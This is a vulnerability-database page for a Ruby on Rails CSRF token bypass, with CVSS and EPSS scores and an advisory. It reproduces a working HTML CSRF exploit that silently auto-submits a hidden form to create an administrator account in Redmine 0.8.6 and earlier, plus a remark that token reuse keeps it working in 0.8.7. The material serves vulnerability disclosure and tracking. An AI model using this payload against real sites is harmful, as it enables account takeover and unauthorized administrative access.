CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Ruby on Rails 2.1 before 2.1.3 and 2.2.x before 2.2.2 does not verify tokens for requests with certain content types, which allows remote attackers to bypass cross-site request forgery (CSRF) protection for requests to applications that rely on this protection, as demonstrated using text/plain.
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.8
AV:N/AC:M/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
11%
–
–
2022-04-03
–
–
11%
–
–
2022-05-22
–
–
11%
–
–
2023-02-05
–
–
12.57%
–
–
2023-02-19
–
–
11%
–
–
2023-03-12
–
–
–
13.42%
–
2023-04-02
–
–
–
15.49%
–
2024-02-11
–
–
–
15.49%
–
2024-06-02
–
–
–
15.49%
–
2024-12-22
–
–
–
19.53%
–
2025-01-19
–
–
–
19.53%
–
2025-03-18
–
–
–
–
11.41%
2025-03-18
–
–
–
–
11.41,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/37322/info
Ruby on Rails is prone to a cross-site request-forgery vulnerability.
Exploiting this issue may allow a remote attacker to perform certain administrative actions, gain unauthorized access to the affected application, or delete certain data. Other attacks are also possible.
/**
* Redmine <= 0.8.6 CSRF Add Admin User Exploit
* Discovered by: p0deje (http://p0deje.blogspot.com)
* Application: http://www.redmine.org/wiki/redmine/Download
* SA: http://www.redmine.org/news/30
* Date: 13.11.2009
* Versions affected: <= 0.8.6
* Description: this is a simple exploit which exploits CSRF vulnerability in Redmine, it creates user account with adminstartive rights
*/
<html>
<body>
<form method=POST action="http://www.example.com/users/new">
<input style="display: none" type="text" value="hacker" size="25" name="user[login]" id="user_login"/>
<input style="display: none" type="text" value="hacker" size="30" name="user[firstname]" id="user_firstname"/>
<input style="display: none" type="text" value="hacker" size="30" name="user[lastname]" id="user_lastname"/>
<input style="display: none" type="text" value="hacker@hacker.com" size="30" name="user[mail]" id="user_mail"/>
<input style="display: none" type="password" size="25" name="password" id="password" value="hacker" />
<input style="display: none" type="password" size="25" name="password_confirmation" id="password_confirmation" value="hacker" />
<input style="display: none" type="checkbox" value="1" name="user[admin]" id="user_admin"/>
<input style="display: none" type="hidden" value="1" name="user[admin]"/>
<input style="display: none" type="submit" value="Create" id="commit" name="commit" />
</form>
<script>document.getElementById("commit").click();</script>
</body>
</html>
/**
* P.S. Actually, this vulnerability wasn't fixed in Redmine 0.8.7, because token was generated one time for all the pages and allthe users.
* Thus, you can add POST data with token of any user and exploit will be working again
*/